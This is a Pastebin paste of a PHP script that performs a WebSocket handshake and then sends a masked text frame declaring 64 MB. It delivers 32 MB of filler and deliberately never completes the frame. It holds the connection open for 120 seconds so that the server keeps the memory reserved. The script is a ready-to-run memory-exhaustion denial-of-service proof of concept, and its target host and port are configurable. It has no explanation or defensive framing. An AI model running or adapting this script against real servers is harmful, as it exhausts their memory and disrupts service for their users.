Guest User

Untitled

a guest
Jul 23rd, 2026
14
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.44 KB | None | 0 0
  1. <?php
  2.  
  3. $host = '127.0.0.1';
  4. $port = 8080;
  5. $path = '/test';
  6.  
  7. // Must be more than $sendBytes. This will never be reached.
  8. $claimedBytes = 64 * 1024 * 1024; // Reserve 64mb
  9.  
  10. // Must be below $claimedBytes. Server will reserve this for as long as $holdSeconds
  11. $sendBytes = 32 * 1024 * 1024; // Server will now keep 32mb in memory
  12.  
  13. // How long to actually reserve the memory for.
  14. $holdSeconds = 120;
  15.  
  16. function writeAll($socket, $data)
  17. {
  18. $offset = 0;
  19. while ($offset < strlen($data)) {
  20. $n = fwrite($socket, substr($data, $offset));
  21. if ($n === false || $n === 0) {
  22. throw new Exception('Socket write failed');
  23. }
  24. $offset += $n;
  25. }
  26. }
  27.  
  28. function maskData($data, $mask, $offset)
  29. {
  30. $out = '';
  31. for ($i = 0; $i < strlen($data); $i++) {
  32. $out .= chr(ord($data[$i]) ^ ord($mask[($offset + $i) % 4]));
  33. }
  34. return $out;
  35. }
  36.  
  37. $socket = fsockopen($host, $port, $errno, $error, 5);
  38. if (!$socket) {
  39. die("Connection failed: $error\n");
  40. }
  41.  
  42. $key = base64_encode(random_bytes(16));
  43.  
  44. $request =
  45. "GET $path HTTP/1.1\r\n" .
  46. "Host: $host:$port\r\n" .
  47. "Upgrade: websocket\r\n" .
  48. "Connection: Upgrade\r\n" .
  49. "Sec-WebSocket-Version: 13\r\n" .
  50. "Sec-WebSocket-Key: $key\r\n\r\n";
  51.  
  52. writeAll($socket, $request);
  53.  
  54. $response = '';
  55. while (strpos($response, "\r\n\r\n") === false) {
  56. $chunk = fread($socket, 4096);
  57. if ($chunk === false || $chunk === '') {
  58. die("Incomplete handshake\n");
  59. }
  60. $response .= $chunk;
  61. }
  62.  
  63. if (!preg_match('/^HTTP\/\d\.\d\s+101\b/m', $response)) {
  64. die("Upgrade failed:\n$response\n");
  65. }
  66.  
  67. $mask = random_bytes(4);
  68.  
  69. /*
  70. * FIN + text opcode, masked, 64-bit declared length.
  71. * The payload is intentionally incomplete.
  72. */
  73. $frameHeader =
  74. chr(0x81) .
  75. chr(0x80 | 127) .
  76. pack('NN', 0, $claimedBytes) .
  77. $mask;
  78.  
  79. writeAll($socket, $frameHeader);
  80.  
  81. $sent = 0;
  82. $chunkSize = 65536;
  83.  
  84. while ($sent < $sendBytes) {
  85. $size = min($chunkSize, $sendBytes - $sent);
  86. $plain = str_repeat('A', $size);
  87. writeAll($socket, maskData($plain, $mask, $sent));
  88. $sent += $size;
  89. }
  90.  
  91. echo "Sent $sent bytes of a claimed $claimedBytes-byte frame.\n";
  92. echo "Holding connection for {$holdSeconds} seconds...\n";
  93.  
  94. sleep($holdSeconds);
  95. fclose($socket);
Add Comment
Please, Sign In to add comment